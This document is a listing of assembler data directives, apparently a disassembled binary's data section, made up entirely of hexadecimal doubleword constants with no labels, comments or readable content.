dd 3EDA4043h, 5042FF47h, 0C3A61DC9h, 49A7C117h, 0A9E40CC9h
dd 49458F22h, 61108C57h, 8022AAA3h, 0E7D89680h, 4CDA4282h
dd 75C325A3h, 98621B51h, 406A02E6h, 9BB7094Eh, 0C6C94867h
dd 235552D6h, 454AD8C6h, 4063EAF1h, 151828D9h, 48953BA9h
dd 4B6514E5h, 9E7ECA1h, 66C25F05h, 8430A814h, 0E81D584Ah
dd 425651A4h, 1E09B214h, 42E7DC21h, 4E19E614h, 690F41E1h
dd 8C71D3Eh, 0D043E7F0h, 5C78B7FEh, 82C0D821h, 0B48B372Dh
dd 8D8F331h, 0EB258656h, 21EF9907h, 90B7216Fh, 91882E57h
dd 4364BBFCh, 75011AADh, 0F0A17633h, 0E1A84CB8h, 0D0FF2573h
dd 68076B01h, 0EBA78EB4h, 788EA0Ch, 5C91051Fh, 63E32A4Bh
dd 15FB5B71h, 32289985h, 0DA1D3821h, 0D38B0CD0h, 0F48854C5h
dd 1A835EBFh, 23778917h, 0CA02EF7Dh, 3F3218BFh, 0CB0A6A2Eh
dd 0ACB6115Bh, 2B2129BFh, 89910162h, 2F997EDBh, 8468CFC0h
dd 3BA2BF53h, 0E558CD64h, 3A4F00B2h, 87E9D88Ch, 0F838C9D1h
dd 95221D3Eh, 60322FC5h, 1D344FB2h, 0CF5F0110h, 20F983CEh
dd 0BB946A15h, 4BB929FFh, 91E44A86h, 38899309h, 0FBBBE5CEh
dd 5180471Fh, 0C73B04A2h, 88830973h, 5570FDD1h, 9D1310B7h
dd 623D99D8h, 7979BF4Ch, 2E4D9754h, 0C6882497h, 3227486Ah
dd 53C625B2h, 46DED335h, 152C8332h, 57C63B1h, 3CC4EE69h
dd 0C1472AF4h, 3816AA48h, 0C4F298F4h, 4A330DF3h, 5DC81C64h
dd 0DC09D8Ch, 561B0574h, 0B3BF2468h, 7FECD287h, 47F44676h
dd 520821D0h, 0E4F4AA09h, 0BC982253h, 381E0D9Bh, 9EA3BBA1h
dd 1DF4BC42h, 44F4CC08h, 724B3A3Bh, 6171BED2h, 2F89EFC8h
dd 7C939CBEh, 0E4E985B4h, 0BA6C2D34h, 77B1957Bh, 0D93FA678h
dd 68874ED1h, 9F09554Bh, 15D0098Fh, 0AB9C18BAh, 2BA72DEBh
dd 822406B2h, 0A843A22Eh, 84F12F83h, 18BF7215h, 6C7D451Ah
dd 6695D838h, 0A00F7E66h, 1288F4BBh, 4BEA689Dh, 0E21C346Fh
dd 0CD56292Fh, 121A12FBh, 0DAD7B83Ah, 0C41F7B50h, 17E98A10h
dd 0D78EE9E8h, 71E9E484h, 0F01CEAECh, 2DDC2EF3h, 0BE6C2468h
dd 254354BDh, 0A1EA90DEh, 4B0CE9E4h, 0E8845E46h, 0F4103AEAh
dd 0DC3584EAh, 3468092Fh, 0CAF476BEh, 0C04CF80Ch, 321C6824h
dd 1C191071h, 0F34DA4D7h, 47A0ACC0h, 642C23F3h, 9315430h
dd 76BE1868h, 0E0F7E5F0h, 40725921h, 892834C8h, 0DC8F06EBh
dd 10025711h, 28A8BDF8h, 0F4248887h, 86F3A050h, 40B42510h
dd 0EF424F1h, 21F43484h, 933C27DDh, 0BD43BCBCh, 0E8918016h
dd 4E0A9BDFh, 0E204CB1Fh, 1F5C2020h, 6AB735FFh, 3152CE37h
dd 0EB7F7868h, 8B3533BFh, 936F5427h, 223A7831h, 95BD6C80h
dd 0EB0A33B4h, 125C680Fh, 6AED405Ah, 0FB9C1FEh, 4B446877h
dd 287D7D16h, 5699191h
dd 8CB2C849h, 1068780Ah, 0BCF87022h, 853F3187h, 0E15F29ADh
dd 38119EAAh, 21165EF0h, 0DDA9D049h, 640E6487h, 2781F0BDh
dd 13BCE868h, 6274ACD8h, 10E22418h, 0A490180Eh, 0CBF763E7h
dd 7089EF47h, 143B19FAh, 60313B3Ch, 78106A17h, 5417B239h
dd 39766D2Ch, 0DCEB857Fh, 2412A884h, 0A5CA7453h, 497C8265h
dd 0A49BF812h, 118B1C76h, 7DF9E05Eh, 0FDCB534h, 0D3644E66h
dd 844A8AD4h, 2F2ABC94h, 21111C19h, 0DC42FA74h, 1BCE18F9h
dd 0FA74088Dh, 0FA842174h, 1DD8B50Bh, 0BC580880h, 4B331CE9h
dd 66C13215h, 0CD51234Ah, 0E4238F49h, 249484A1h, 253CE52Dh
dd 2B8F6628h, 47E9F684h, 447E894h, 0F1B6E68h, 0F690BDB1h
dd 0B70FEFB8h, 19EA2DAAh, 2C42F13Eh, 0E96E57A2h, 0D4E7564Ch
dd 1406A206h, 42883040h, 433D9CF6h, 40EF1C08h, 87F68878h
dd 10F69842h, 4287D7AFh, 0FE3ABBECh, 1774F07Ah, 0AC764795h
dd 0F5203E26h, 7ECFF494h, 50952CE3h, 6C94F4D4h, 3239555Ch
dd 0DCD6122Bh, 0DFF5C57h, 1A601291h, 54EFE0B8h, 0FD41AB8h
dd 4BD1840Fh, 228956DAh, 5421049Eh, 0F4D042F5h, 8DA36618h
dd 74F55408h, 0BF56421h, 829D3A1Ah, 84FE7C15h, 84A7CF72h
dd 98FB9B85h, 444886C7h, 1E2342A5h, 0AC96F574h, 0F906BE8h
dd 0CEEF5B84h, 2C552336h, 3F7C8060h, 7D03F883h, 558B3A0Eh
dd 0C1C86020h, 0E3807E1h, 348D111Ch, 0FF1F7464h, 24ECED13h
dd 1E6288E8h, 82AD7195h, 18BAF087h, 16C8867Eh, 927752C4h
dd 6E957772h, 0E2CAC33Ch, 327BA73Eh, 420DC7EDh, 822B8E2Fh
dd 64EA7984h, 0F4E2B598h, 6805F25Bh, 6AA8BAC0h, 397D75F0h
dd 745A10B5h, 6068160Fh, 4605BDEBh, 973A1790h, 58580C09h
dd 0D4669F0Fh, 6DB51877h, 0CE172136h, 145DC8F3h, 0F6C7260h
dd 0A31E85B6h, 1D112311h, 84281C94h, 7B14F1DCh, 997BBA2Dh
dd 542C1448h, 7957900Dh, 0EA8A8D6Bh, 487BF1D8h, 894D1C89h
dd 90B85581h, 4905C759h, 7B7D229Ch, 0BAEC84B7h, 11A960A8h
dd 6B9D24AAh, 0D48A535Ah, 0A4EFD153h, 0BE968665h, 0EC18AE61h
dd 1C2A8B37h, 80C4009h, 0C2735E8Ah, 13FDEB88h, 0EC10C170h
dd 2C5FE636h, 0EB530839h, 47562525h, 0EAF8084Eh, 1C115712h
dd 0EF28B512h, 0D3B95CE4h, 9C9F08A8h, 0EC142225h, 15AC36B0h
dd 0D2483782h, 4043BB65h, 3AEC14C4h, 84EC2010h, 123A3617h
dd 0FE29B9A4h, 0EC940653h, 0EC208468h, 90178149h, 91D5231Eh
dd 397AE280h, 63231E78h, 42B77091h, 0C22B0B93h, 0B8F0391Ch
dd 2158116Bh, 8E4FA896h, 5C392075h, 4E748035h, 9CF7E26Fh
dd 1ABD5053h, 78A20E90h, 0B5066E30h, 23214065h, 3CA01CA1h
dd 0B93C6813h, 0F978383Dh, 388740AAh, 751DA8ADh, 52848B4Ah
dd 4EFF84AFh, 55A427BEh, 74503134h, 0AD496A3Bh, 1AFFF3B8h
dd 0F1A7990h, 5B808A16h, 0B94F2468h, 6BB18AF2h, 206A522Fh
dd 0B50C421Fh, 15FEFF36h, 8B80C91h, 0B710D087h, 85FFBF8Dh
dd 35B8F862h, 77B8F088h, 0DBB00888h, 4656F8FFh, 36DCE2E4h
dd 0F0CA2C4Bh, 28217416h, 3DA7D44Dh, 0CC081064h, 0B8C49155h
dd 31908DB8h, 0D34126E2h, 672C2A76h, 0C4BCADACh, 21666CA4h
dd 748B9C39h, 0BD11345Dh, 99079BC6h, 0F423FB9h, 10F9F703h
dd 24E84886h, 9C511852h, 992450Bh, 0A4163C1Ch, 8823B96Eh
dd 0BE838F49h, 987B86A0h, 0D5F6EFA7h, 3FA50494h, 28201A52h
dd 0ECC832ECh, 95C58EDCh, 52F9FD90h, 85EAECBDh, 3B19D267h
dd 75451A84h, 7B902327h, 47271AFDh, 84C8E367h, 50B1D76Fh
dd 8338575Eh, 7A74C442h, 528AD29Bh, 7FA1DD0Eh, 5C590A24h
dd 24C8984Fh, 0F3E25411h, 0FFAC1629h, 1FA6E4E5h, 18C4FC2Ah
dd 6E62FB44h, 147B85DFh, 678A0F34h, 14AD71A4h, 0D0502305h
dd 9F59E24Ah, 0E8F44748h, 8450A7FFh, 348CB846h, 0E752F440h
dd 0C27EDF45h, 4D9348ECh, 1E0BE0C7h, 8DD3703Ch, 7C0F2451h
dd 14BDB943h, 0F962A23Ah, 3AB44133h, 21F5D040h, 3088F540h
dd 2 dup(3008FFB8h), 2847D6B8h, 0F7500C8Fh, 7023D558h
dd 2F3E1416h, 0FCA16291h, 0F23B5BB7h, 577A1DE4h, 69B7FD04h
dd 21261BD1h, 0AEB10E8Fh, 0D1116B92h, 47D0F840h, 5126F9B7h
dd 3CB744F7h, 2C335A75h, 0EE9E2814h, 8DB7ACF0h, 0F3ED726Eh
dd 0A39B1h, 172045C7h, 0C74D4A5Ch, 788370A7h, 753C01FCh
dd 0F402DE0Dh, 0D4500776h, 2C8166AAh, 61D105Fh, 7CCD7DDDh
dd 0DAD148B1h, 3F6236Bh, 0E6C86D4Fh, 0F5B74284h, 425106E0h
dd 0B854119Bh, 183D86B1h, 0CAB74680h, 0DC62176Fh, 354736B8h
dd 442E7C2Bh, 3CCC721Eh, 113CEB23h, 99D4E278h, 231E7417h
dd 0D95BA783h, 17376CC5h, 92D02E1Ah, 6FB78C3Bh, 177B141Dh
dd 0D02E60CAh, 568C3AB9h, 0A288175Ch, 3DE2F1EFh, 231E4839h
dd 0E1409126h, 3C1839FAh, 0C8E3118Fh, 1CA2F134h, 8B118F30h
dd 6C9794C4h, 2C568E5Bh, 0E544882Eh, 0C5176828h, 24233846h
dd 1872AEC4h, 236B473Ch, 7254C414h, 0E2233C0Ch, 0E2081137h
dd 78843BCBh, 0FC238E7Ch, 776564B6h, 716CBAC4h, 0F82B3646h
dd 325A452Eh, 473CF017h, 0C4EC2325h, 3CE4720Eh, 11350723h
dd 34F0E1E0h, 118FD818h, 0F1D0C893h, 8FCC1C7Ch, 0C8C80E11h
dd 8C33F7F0h, 6988BC47h, 5278B8E4h, 0D6B0468Eh, 0E9F80412h
dd 0D115AC8Ah, 6A02C2ECh, 0EB9C5720h, 42B68C21h, 0B7D40C45h
dd 0DC2FA451h, 0F1432CAEh, 82F9C95Ah, 0BE1C7517h, 25B05E58h
dd 0F12F63D1h, 8B06C2F7h, 5669667Eh, 0EDF01254h, 0E6D8F560h
dd 0DFB64B5Ch, 0E7202DB9h, 0F128080Ah, 18D6A451h, 41432B61h
dd 3BF128C4h, 6108F121h, 20567425h, 867E12D6h, 318C1A8Ah
dd 2915361h, 0F2B5A589h, 0B7E3363h, 75D4E45Ch, 0EA45A1Eh
dd 0B06F50EAh, 0E22121BFh, 8817B590h, 0C0E4F138h, 0D085C438h
dd 0E287F13Ch, 1015B564h, 16BCF221h, 2386387Ah, 0BC4431ECh
dd 9FC8213Bh, 28D0E111h, 0E1428DB5h, 1B211123h, 0A3B4EC10h
dd 0B83CD4C0h, 0BC381BFBh, 7375B042h, 4C02486Ah, 3EB298F2h
dd 0B4E451F6h, 0F2AD4B2Ah, 1A7A38B7h, 0F66D5DEBh, 0ADEAE6B7h
dd 3842D3A1h, 0E1035B4h, 84DB02C8h, 0B343E02Ch, 0A0B1D4CFh
dd 0B32E4B84h, 4417A3E6h, 3CC47234h, 0D92DF421h, 36F21DDDh
dd 0CA29CAA2h, 74CB9877h, 0CC10C812h, 8815224Ah, 0F5979E8Dh
dd 74899CB1h, 0C2510CA6h, 2230D649h, 204505F7h, 0EC500E74h
dd 4F1EA6B1h, 80E6C208h, 7536579Ch, 6148723Bh, 6A08460Ah
dd 50918B03h, 0C2B85B21h, 502DA87Eh, 0A75CD590h, 0A623CA5h
dd 28BABC57h, 19470775h, 3046EB04h, 5820B34h, 28042EEBh
dd 0EB06082Eh, 0B7233816h, 0DC271744h, 0E7D7C21h, 9B8D2AFDh
dd 5022266Bh, 0CA402053h, 2544BC57h, 844C37BFh, 0FBB9F108h
dd 0BEB6C13h, 1C66E3E7h, 7F2F5753h, 0BA6C69E5h, 20D8BEEEh
dd 1043DB81h, 0A3B2FC10h, 2C2CD4DCh, 7B8B9746h, 8E784342h
dd 296A4753h, 8CC94C12h, 0D220E95Ch, 9330ED25h, 0C41BDA11h
dd 81EA0574h, 9804EBF3h, 82990245h, 0AE6695FCh, 8CA528FCh
dd 142C8842h, 9CC8BC42h, 34EE9471h, 29F42B52h, 0DCCB421Ch
dd 4A8A647Ah, 688A5F10h, 54E44670h, 3E4F2229h, 8482C64Ch
dd 0A27B2A89h, 72441723h, 9205E252h, 0C8244058h, 5546B5BDh
dd 8A294056h, 3C64402Ch, 17A61578h, 0CC843047h, 3C2C6229h
dd 2423B547h, 38714DC4h, 36231BB9h, 0A12E1C95h, 181828B6h
dd 9F1117ADh, 22C4A3DCh, 473C0C72h
dd 0B8F0110Bh, 622784B7h, 532EB408h, 8F7017A3h, 0FCC41E11h
dd 8E076CB1h, 6B84F447h, 3CF06226h, 0E8215447h, 0F3672D3Eh
dd 25CC8931h, 2E8D9DECh, 0C817B514h, 1C78F1DCh, 61118FD8h
dd 0EAF0D0C8h, 0CC478C24h, 0C4E4D388h, 2346C178h, 0AA118F7Ch
dd 0BEF0B8C8h, 0B4478C22h, 0ACE4A788h, 21468B78h, 74C4A823h
dd 0E83CA072h, 9C478C20h, 94E4A988h, 1F430378h, 181EECB1h
dd 0C73E8F8Ch, 2BC48823h, 233C7C72h, 78111D05h, 181CEEE1h
dd 60118F70h, 49F16CC8h, 88F601Ch, 58C41B35h, 548A1E78h
dd 0DBE3522Bh, 0AABA252Ch, 296850C5h, 681A4D0Dh, 0F6D8CAC8h
dd 44568C19h, 18E6842Eh, 17B43862h, 2C23CF47h, 2072B8C4h
dd 97CDE836h, 801E0A7Bh, 86F39D60h, 0CFC7D093h, 99A2CE04h
dd 80211047h, 4B70890h, 4B74EFCFh, 0EFFC74FAh, 75918E5Dh
dd 0B7378834h, 501303F6h, 7684BD89h, 7CB53421h, 3202E6C3h
dd 2980483Ch, 7C21F7C6h, 525A88CDh, 87CF80D0h, 10CF8C42h
dd 6595D6B3h, 0B0E0E2CDh, 9C372D18h, 0B1B14FECh, 0D01816D5h
dd 0BE1117ADh, 0A7DBC8C8h, 581238B9h, 0D8088FC9h, 0CA58F0C9h
dd 0CAD8088Fh, 12489454h, 5C123130h, 0AB2B54CBh, 0D3C90437h
dd 0D9BB550h, 6BAD5417h, 0D3B0F2C2h, 0FA10E42Fh, 42584A38h
dd 0C95484CBh, 1A41B231h, 0E8CB5810h, 2DCB4264h, 9D51D8D6h
dd 5C624AE5h, 876118B0h, 0C6BE8499h, 8A1411DDh, 0A9D11748h
dd 88F401Ch, 47761354h, 0C234233Dh, 30311229h, 9112231Eh
dd 0DC08E328h, 233C2462h, 181110F1h, 679CDDE3h, 1CC6F128h
dd 0BF088F04h, 0E211CE0Eh, 448B20A8h, 0A7B18035h, 77111810h
dd 0AFF484B6h, 0D477C6Ch, 65881746h, 1721E8E4h, 0C40F2D61h
dd 68740873h, 17A65C2Eh, 0FC84D847h, 3CD46206h, 0D023E547h
dd 0C872CEC4h, 5A9233Ch, 92E2C411h, 111EB839h, 0B0880451h
dd 0AC1C3AF1h, 0C823118Fh, 3575D0A4h, 0A5195763h, 61BBE42Ch
dd 0A78468CDh, 65FBF33Dh, 5FE7FC2Bh, 7F49AFCEh, 8AAB3010h
dd 1DD05F78h, 74568C02h, 0E4068817h, 97D16D6Ch, 10A80CEAh
dd 7DE7B969h, 8820ADB9h, 1659B111h, 36138608h, 8CBC7420h
dd 1F18641Ah, 2D7E29BAh, 9A996FC4h, 0B4C7277Eh, 0C83038BFh
dd 689FAD1Fh, 57BDCFBFh, 0B0936BD0h, 778A5898h, 8B278A46h
dd 6D8C76F8h, 66F0ECF3h, 0E485C70Dh, 0AC0742FCh, 0F60C47B3h
dd 70C2950Ah, 3D5BC568h, 3E15F39Dh, 3439E6B4h, 289A7464h
dd 15A7BA0Eh, 6812A990h, 1C433C20h, 61598D55h, 0DDA73B16h
dd 9554BF38h, 0BB55CA53h, 3A2B4DFBh, 0F097DF5h, 9FE4F33Ah
dd 3B88C5FBh, 2D23BA24h, 8ECF3CEh, 688170F4h, 65B5AEFCh
dd 6856E9B8h, 5BE2B0F6h, 84BDA62Ch, 24EEC68Bh, 0AE38CC24h
dd 17748A87h, 0A5EC1113h, 5A8C104h, 9E958114h, 0BE4AB355h
dd 9F57BC40h, 0FA62A6E5h, 853022DCh, 57C9115Dh, 0ECA8E489h
dd 0FB611CFDh, 0E08B2BF6h, 38D14A76h, 0A0E81858h, 0B35D8674h
dd 21740A91h, 6CE0C517h, 68120A9Eh, 2FB2AEB4h, 0D77C1889h
dd 10D076EBh, 8E0F0FEDh, 0E475F515h, 288DE1ACh, 35B51421h
dd 32E0B313h, 2CAC6BB1h, 49B71042h, 6514123Fh, 6A19BEC7h
dd 0BA14B434h, 2D247822h, 51BAFE83h, 0F8253051h, 0EDB4213Dh
dd 2028B815h, 13BC6FF8h, 0A59BACAAh, 0A46A34F8h, 815A2A0Fh
dd 0AE7068CAh, 8B3E9B3Ah, 70DC7C14h, 885EDA8h, 0C161EC24h
dd 690F4149h, 0E242453Eh, 0AB10EDC0h, 38428713h, 0EE655CAEh
dd 46337D13h, 710431BDh, 0C41D39ADh, 207E5ED6h, 0C8880103h
dd 85A17F6Ah, 0AB733B08h, 66136204h, 0B6CEEF70h, 43D0AF23h
dd 3143F085h, 4218200Eh, 3E4290F4h, 0BEE2DEF8h, 0E2EEF0C4h
dd 180CC869h, 0EEEC3C24h, 48D057ACh, 0DD7A9A2Ah, 0F07D7A9Ch
dd 85ADB888h, 0B8291644h, 0BBE25E85h, 31EEEC84h, 701A3E10h
dd 310C6487h, 9F0E1284h, 2728AD92h, 8E0170FFh, 84BAF2F7h
dd 2A12C475h, 0BBFDAA71h, 16FF2236h, 0B8AD2C68h, 0AD5AAA17h
dd 0C273DA5Fh, 280A187Eh, 10118503h, 0F445CBDDh, 3844F390h
dd 73FD074Fh, 97D40C9h, 13A31491h, 21287D8Bh, 0CC1C45DEh
dd 7E27245Dh, 44377C77h, 7AC3A420h, 0E7B4F14Fh, 348FF1F8h
dd 44DA7428h, 0E4FFDB61h, 6DE8B24h, 0DA7C52B0h, 0F3585AEBh
dd 0E7AC2DEBh, 8626272h, 0E3712805h, 0CA7BACC0h, 0D0BBF456h
dd 1A68570h, 8CCAB1B7h, 0A6EB699Fh, 0F398E22Ch, 13E69439h
dd 237CF887h, 8445F380h, 0EB8B0E62h, 18C02752h, 0BF88BCC9h
dd 0D30F2729h, 8C1E32D1h, 0A0FAFC29h, 45F7B408h, 0D1B5A6F2h
dd 0B2104FFEh, 0B4849671h, 64431E50h, 2C52840Ch, 11FB804Ch
dd 880AAC44h, 0F3907817h, 0F27C0885h, 343F9C62h, 50F83ED6h
dd 0F3439CBCh, 0FAC0CE1h, 64B23F8Fh, 621C343Dh, 576456CAh
dd 1B6CA5Fh, 0C065545Ah, 337FF43h, 3DAB4E10h, 0D0AC03F6h
dd 3664A911h, 0D0AF9C24h, 49E9AB42h, 50A43E56h, 31AD5A61h
dd 1AABC816h, 24192074h, 6A046A24h, 79AF5C42h, 41A1F14h
dd 0EEABA868h, 2F20A82Fh, 414CE595h, 0E699096Ah, 0E2203B5Dh
dd 0F40C9463h, 0B2E74AB9h, 48C6200h, 0AD5205AFh, 29D12078h
dd 68B29868h, 71946411h, 0AA54A2AEh, 802CBFF4h, 5681ACB8h
dd 68B13028h, 0B7244C70h, 2C1EE665h, 20C798AEh, 0B1C440A4h
dd 615CB308h, 14A1AB68h, 0BC4D5312h, 256F2F60h, 40C049DDh
dd 57E790F7h, 0DE9B756h, 0BB0513ABh, 3A0F4B08h, 2CCF922Fh
dd 35517C42h, 0C0761AFAh, 211B648h, 0AC429547h, 0D9EBBC04h
dd 20E3DC57h, 63C9081h, 0A8E2FF48h, 0B5660EB2h, 612E0559h
dd 6A097323h, 0B4958E9h, 13593CE4h, 0A76C13Bh, 250D8DEFh
dd 246D63Ah, 98610B9Ah, 0C70A7629h, 13030854h, 0D5AC8D83h
dd 64DF29FEh, 444F7417h, 0C4031ACh, 570EC18Bh, 7FD8C083h
dd 103FC48Eh, 0CD4026E5h, 4175DE1Ah, 867FDF73h, 0C86419C8h
dd 0EC57ACA6h, 0FC90E3C8h, 75060024h, 0AAD4680Ah, 7C6E39B7h
dd 0E02A4735h, 74070806h, 233F8030h, 57E02B54h, 0CB6AFF7Ch
dd 78527871h, 5AB927EFh, 0B0CBB548h, 0BCAE0864h, 64657758h
dd 908866B5h, 210C859h, 5EE31244h, 29A0BB64h, 302B927Fh
dd 84F5F24h, 0F0BD8F10h, 888F57B8h, 0DD4EFD0Ch, 2C93E8A1h
dd 68107A13h, 0EFBF5474h, 28F89436h, 2120B8A1h, 0FF9DEF6Bh
dd 437C356Ch, 5CFA2FBh, 0FAD334C7h, 8C246356h, 47F80C17h
dd 0FBA397A5h, 0E6B4FBB9h, 0B81A037Bh, 7CC7D13h, 0D9FB8C2Fh
dd 8FA5499Ch, 0EA27BA88h, 7EAC1384h, 0B6FC5F78h, 722B8CECh
dd 0A088AB08h, 1F233880h, 0CE500375h, 0F296BEDFh, 88C8E0BDh
dd 0A30C489Dh, 0F3AFBCC8h, 0FCA86250h, 84FB7C10h, 5484987Ch
dd 8A900694h, 235014FFh, 9CD0AA38h, 7C0885FCh, 3ED35EFBh
dd 0FC88748Eh, 1D0B3742h, 98AA2338h, 0F098CB57h, 0A3B910B1h
dd 0E91047FBh, 149F0F67h, 2FFE4AA1h, 1866C4D9h, 9093802Dh
dd 0B519C7FAh, 0E51C698Ch, 0BFD51C4Bh, 28BD6E45h, 3D19F534h
dd 0C522C5Ah, 1806A410h, 45122032h, 88062925h, 40D6A9B0h
dd 0FB421C24h, 31FA8C84h, 101ACA1Dh, 30E8FB1Ch, 0CA12FB42h
dd 0F1E9F2C5h, 661DA974h, 0FFA85A16h, 9838C6DDh, 3DB07928h
dd 0F5C5944Eh, 8B8F61B8h, 2B324B30h, 0EAACE3A9h, 4F1D79F0h
dd 208E250h, 68140230h, 0C3BE4814h, 0A98A6856h, 0AEB64755h
dd 993F1AF1h, 0FE4114DDh, 0F30578Eh, 4303D38h, 1E8D0FF9h
dd 80E22BE3h, 624AEE93h
dd 0FFD89B20h, 0E81C44B0h, 0EB841F4Fh, 0B8811839h, 10B88018h
dd 733494E7h, 0C1DE27EAh, 354F5694h, 20CF0529h, 58682B4Bh
dd 576908F0h, 1DA42376h, 0F4619B9Eh, 26AB42D2h, 64456EE4h
dd 553FDB0Fh, 1D43A1C2h, 3F561517h, 1F4A11D5h, 0E48D09B8h
dd 0F0F85648h, 2D2822BEh, 1D734486h, 8062F424h, 707E34F9h
dd 0B2D3E699h, 0F8F010F9h, 87EC7684h, 88A11410h, 0ED7808F9h
dd 0CA98C08h, 80065270h, 91E04D12h, 8D12B910h, 336C2B7Ch
dd 2C08F843h, 7C7840C9h, 904287F9h, 0C2EA10F9h, 0E66B0CD3h
dd 285BE049h, 0EE45D0F7h, 0CC14266Dh, 0A2A5CAEDh, 5FF590C8h
dd 45CC47C8h, 0DA4CD9EEh, 0F6A0CED3h, 0FBEDC42Fh, 0C483E2E6h
dd 0E0582A13h, 82328426h, 0DC0D8652h, 5B79AB19h, 0A199E2D0h
dd 8B0AA8D4h, 21DD1E18h, 0C84FEED4h, 0DAB61EDh, 0D4100F41h
dd 42E4E8EEh, 0C1ED10EEh, 0A84790E8h, 21FF4A7Ah, 1DD784EFh
dd 1262F204h, 72867ED8h, 9D110144h, 0C9D5D988h, 0BFD21769h
dd 0C8BFCEB2h, 97106AE5h, 0A5B70C90h, 2D0144BFh, 0FB9AD994h
dd 0CBE60809h, 907118B6h, 8051D4Dh, 5AE09AFh, 504DE562h
dd 42D99888h, 8713D704h, 4CE3FB69h, 0A98AA0B7h, 9C9E1961h
dd 0E9E07EF2h, 3E870A77h, 1D1C5659h, 8D3C7B7h, 8253D984h
dd 67A018D7h, 0D9213B8Dh, 84D9A4D0h, 3E91F4E8h, 611824D1h
dd 0DA45875Eh, 0BFA9CB6Ch, 1ECBECB1h, 0E1CC6C11h, 0C41ACCECh
dd 7438CD70h, 68101BF9h, 0A7E884CBh, 0E212212Ah, 2114CD6Ch
dd 1D88CB68h, 0CD6CD056h, 0CD784287h, 0E84E1711h, 3CA7B0C4h
dd 8ECF4794h, 94E3B114h, 461478ACh, 0D198B1D1h, 469C3E0Eh
dd 22CF90C4h, 0E901580h, 0AD194F1h, 0C4CF9010h, 94684358h
dd 0A0A1D143h, 432F08D1h, 3448A2F3h, 0C2C31823h, 233CC398h
dd 98C2C418h, 6A323CC4h, 11C54920h, 23F94F10h, 0F7C5103Ch
dd 0C310D8C8h, 0B2184284h, 14211E0Dh, 0A81047C3h, 3435DF62h
dd 0D9C31421h, 433608C5h, 0A6E0A1F2h, 0E884120Fh, 6AA1FCB2h
dd 0E97C743Fh, 959AB4A6h, 273E13D8h, 0D6016540h, 30FB9974h
dd 44D912D9h, 56124432h, 2082C77Dh, 62C77629h, 6F02B2D8h
dd 50F2057Fh, 231A5A25h, 36967F92h, 0E8A6B029h, 100F1F51h
dd 80A1E9DCh, 21ED0CE8h, 0DCE24017h, 0E01E1DE9h, 0EBB60821h
dd 15744674h, 4ED9EF5Bh, 981072CBh, 10DC8EE2h, 10ECDC4Eh
dd 778FE14Fh, 8456CB4Eh, 3477E29Ch, 0FC1023E1h, 0E2A3647Dh
dd 21A41F87h, 835348C5h, 15E23DB2h, 9021F79Eh, 0E10C42E2h
dd 433A2918h, 563EDA41h, 0A8225ECAh, 0E17242E2h, 713BA610h
dd 3FA5D812h, 9C206F28h, 0FFBC16DFh, 761F8032h, 0B468580Fh
dd 0D29CA556h, 20EBE980h, 2BA86C68h, 9913761Fh, 0FBE25059h
dd 0CF17B9A4h, 2AAA9328h, 0DE728410h, 0C0F85891h, 42B7A72Eh
dd 74F4843Fh, 0E5241CBAh, 0FD13B54h, 0C1FCD589h, 0DB69E1F1h
dd 0C025BB83h, 23746A5Ch, 488C074h, 9808E7C3h, 75A14348h
dd 78270828h, 0C4BBEDA5h, 707E8F24h, 7484C342h, 705431C0h
dd 0C343701Ah, 0E8E40CA3h, 423CEC48h, 85BBB5A5h, 5C0F4589h
dd 92D1EA22h, 690FF998h, 11FE8832h, 198854AFh, 9F5711C8h
dd 0C5E5C41Eh, 3B100170h, 6E0975C6h, 2D1AF010h, 0D2839905h
dd 3B4F4F65h, 0B5F88B12h, 0BB2E9112h, 0EFCCB665h, 9D62E550h
dd 27AB53D7h, 8B576782h, 5476BAD5h, 0A51809C2h, 0FC504776h
dd 0CF16B1A4h, 0AD9012BFh, 47F8B490h, 8DB40886h, 84C8B9A6h
dd 1C30A7B8h, 2AB9DA2Ch, 0EFB11B6Dh, 6D27B718h, 0D3103C95h
dd 0DB2F6434h, 0A4F06802h, 5325E7C5h, 14D02197h, 3012CDC3h
dd 0AA61FBDCh, 15A7349Dh, 3C23413Eh, 86783CDCh, 38CA8046h
dd 4E116F1Dh, 4010412Fh, 0D9AC84DCh, 2AB4A823h, 73DC4813h
dd 134E442Ah, 0C4C471B9h, 0CB3EF7A4h, 7042F41Eh, 1899DC2Ch
dd 3E389E4Dh, 0DC432CB8h, 8DC4CA1h, 0A2E74329h, 3D774588h
dd 0CB5A403Dh, 0FE5B85D3h, 10553BFEh, 0FF539A53h, 0DAC64A3Ch
dd 522E7C6Ah, 3D8A7E66h, 68D598FDh, 0B6A45A30h, 1EA2D61Eh
dd 94A2F94Fh, 63572615h, 2FC028E6h, 41BB147Eh, 502503BAh
dd 1C68B460h, 727B95A4h, 5981E025h, 6F1ABD40h, 0B6889D1Dh
dd 107CE399h, 0DF7A0887h, 40EA3AEBh, 88D3085Dh, 40327ACBh
dd 746B5610h, 5AF0568Fh, 62EBB31Dh, 0E23E540Eh, 45DDA404h
dd 51D4E8B0h, 8E0F0014h, 722AE7EFh, 0C0A80336h, 89F369BFh
dd 767BA39Ah, 8D31DD4Bh, 2F394386h, 0D0DD427Eh, 0DE68130Fh
dd 204527CEh, 0B176528Bh, 0ADB9004Dh, 2641E675h, 0C186DF6Ch
dd 38DDE4B5h, 7085C2FEh, 622A59DFh, 1C73A39Ch, 0CDB30FE5h
dd 28DF6884h, 11DD43E4h, 0F4A74F57h, 42743ADFh, 4BF638DFh
dd 60C4EECBh, 4B7831A3h, 5654B548h, 0D4CFD5DCh, 9254F2F1h
dd 8D51FB1h, 50E2DDD8h, 0DDC23BDCh, 0B734421Ch, 0DDD478C8h
dd 0DCA13985h, 0D3470388h, 0BC7C3E5Ch, 0E1DD43E0h, 3B6BA2F8h
dd 0D85B2FC4h, 6BE6A596h, 2F27C452h, 0B00C14B6h, 92A242B2h
dd 84104A28h, 0CF0DA525h, 24939AB0h, 0E8686630h, 0B6B26BD2h
dd 40F4EF1h, 7C51DCAEh, 0E1EF68E9h, 675FDC68h, 97EB140Dh
dd 558A7A33h, 1FB28691h, 0AF0D9015h, 920EC812h, 9AD60C9Bh
dd 0CCA2C042h, 97AC53D1h, 0CAC4B24Ch, 27597C0Ch, 0D276F33Bh
dd 0C58B5615h, 2A8FA2B8h, 3EC28E4Bh, 81A1C293h, 0E28C4A0Ch
dd 3456313Ch, 7799A2E6h, 8567798Ah, 623A4564h, 740C2E2Eh
dd 5F1FD136h, 530D2274h, 0CEF16E56h, 80230A0Dh, 470BD763h
dd 0C2856C91h, 744B080Bh, 73BB7EA5h, 3A582229h, 9F3D860Bh
